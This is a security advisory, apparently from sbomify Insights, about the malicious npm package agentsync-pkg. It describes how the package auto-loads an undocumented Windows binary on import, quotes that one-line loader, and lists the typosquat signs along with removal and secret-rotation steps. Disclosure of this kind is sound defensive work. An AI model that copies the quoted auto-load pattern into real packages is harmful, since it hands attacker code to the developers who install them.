# MAL-2026-6443: Malicious code in agentsync-pkg (npm)


- **Type:** Malicious package
- **Package:** `agentsync-pkg` (npm)
- **Published:** 25 Jun 2026
- **Also known as:** GHSA-6h7h-cf78-vgc2

## What is MAL-2026-6443?

MAL-2026-6443 is a malicious package in agentsync-pkg, published on 25 Jun 2026. 

### Official description

On every `import` / `require('agentsync-pkg')`, src/index.js line 152 resolves `bin/native/parser.node` and calls `require()` on it: `const p = r('path').join(...,'bin','native','parser.node'); if (r('fs').existsSync(p)) { try { r(p); } catch(e) {} }`. The file is a 2.9 MB Windows PE binary (DOS stub `!This program cannot be run in DOS mode.`, sha256 b1aace6c...). On Windows, Node's native module loader invokes LoadLibrary on this file, executing the DLL's entry point regardless of whether it exports valid N-API symbols — i.e. arbitrary attacker-supplied native code runs in the developer's process simply because the package was imported. No source for the binary is shipped, no build script produces it, and the README explicitly advertises the package as "Zero dependencies. Nothing to audit, nothing to get compromised in a supply-chain attack" with no mention of a native parser; the package's documented purpose is string-template markdown generation, which has no legitimate need for a native module. The package also exhibits republish/lookalike indicators: package.json declares name `agentsync-pkg` version `2.0.0` while src/index.js self-identifies as `// v1.0.1`, the CHANGELOG only documents up to 1.0.1 ("Zero runtime dependencies"), README/badges/bin entries all reference the unrelated legitimate packages `syncagents` and `agentsync`, and the author field is the placeholder `agentsync contributors <noreply@agentsync.dev>`. The 2.0.0 release silently introduces the undocumented native binary on top of an otherwise pure-JS code base. The combination — name confusion with established packages, placeholder author, self-contradicting version metadata, and an undocumented PE auto-loaded at import — is a typosquat/republish carrying a binary dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6443?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6443 is a malicious package: agentsync-pkg (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6443/ (Markdown: https://insights.sbomify.com/MAL-2026-6443/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6443

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6443/
Summaries are generated and may contain mistakes; the official description above is the record.